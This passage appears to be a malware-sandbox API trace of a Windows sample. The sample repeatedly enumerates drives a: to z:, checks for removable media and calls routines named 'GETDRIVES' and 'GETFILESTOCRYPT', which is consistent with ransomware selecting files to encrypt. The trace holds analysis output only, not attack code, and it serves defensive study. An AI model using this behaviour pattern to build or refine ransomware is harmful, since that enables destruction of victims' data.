[0081.480] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0081.480] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.480] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0081.480] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0081.480] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0081.480] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0081.480] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0081.480] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.480] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0081.480] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.480] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0081.481] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0081.481] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0081.481] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0081.481] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0081.481] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0081.481] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0081.481] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0081.481] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0081.481] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0081.482] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0081.482] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0081.482] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0081.482] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0081.482] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0081.482] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0081.482] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0081.482] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0081.483] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0081.483] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0081.483] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0081.483] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0081.483] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0081.483] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0081.483] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0081.483] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0081.484] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0081.484] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0081.484] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.484] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0081.484] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0081.484] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0081.484] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0081.484] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.484] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0081.484] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.484] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0081.484] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0081.484] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0081.484] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0081.484] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0081.484] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.485] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0081.485] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.485] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0081.485] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0081.485] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0081.485] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0081.485] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0081.485] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0081.485] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0081.485] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0081.486] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0081.486] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0081.486] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0081.486] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0081.486] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0081.486] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0081.486] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0081.486] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0081.486] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0081.487] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0081.487] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0081.487] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0081.487] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0081.487] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0081.487] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0081.487] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0081.487] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0081.488] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0081.488] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0081.488] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0081.488] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.488] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0081.488] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0081.488] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0081.488] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0081.488] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.488] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0081.488] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.488] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0081.488] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0081.488] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0081.488] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0081.489] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0081.489] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.489] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0081.489] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.489] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0081.556] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0081.556] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0081.556] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0081.556] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0081.556] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0081.556] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0081.556] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0081.556] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0081.557] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0081.557] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0081.557] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0081.557] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0081.557] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0081.557] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0081.557] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0081.557] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0081.558] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0081.558] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0081.558] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0081.558] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0081.558] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0081.558] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0081.558] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0081.558] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0081.559] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0081.559] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0081.559] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0081.559] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.559] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0081.559] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0081.559] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0081.559] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0081.559] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.559] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0081.559] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.559] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0081.559] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0081.559] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0081.560] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.560] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.560] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0081.560] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0081.560] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0081.560] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0081.560] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0081.560] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0081.560] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0081.561] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0081.561] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0081.561] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0081.561] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0081.561] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0081.561] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0081.561] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0081.561] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0081.561] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0081.562] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0081.562] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0081.562] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0081.562] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0081.562] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0081.562] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0081.562] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0081.562] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0081.563] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0081.563] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0081.563] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.563] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.563] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.563] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.563] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.563] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0081.563] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0081.563] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0081.563] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0081.564] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0081.564] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0081.564] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0081.564] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0081.564] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0081.564] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0081.564] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0081.564] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0081.565] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0081.565] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0081.565] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0081.565] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0081.565] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0081.565] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0081.565] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0081.565] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0081.566] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0081.566] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0081.566] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0081.566] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0081.566] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0081.566] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0081.566] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.579] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.579] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.579] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.579] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.579] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0081.579] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0081.579] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0081.579] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0081.579] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0081.579] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0081.580] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0081.580] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0081.580] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0081.580] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0081.580] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0081.580] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0081.580] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0081.580] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0081.581] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0081.581] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.581] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.581] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.581] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.581] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.582] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.582] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.582] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.582] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.582] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.582] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.582] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.582] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.582] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.582] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.583] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.583] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.583] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.583] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.583] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.583] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.583] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.583] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.583] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.583] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.583] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.584] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.584] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.584] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.584] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.584] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.584] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.584] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.622] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.622] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.622] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.622] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.622] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.622] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.622] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.622] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.622] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.623] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.623] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.623] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.623] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.623] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.623] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.623] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.623] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.623] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.623] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.623] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.623] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.624] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.624] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.624] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: 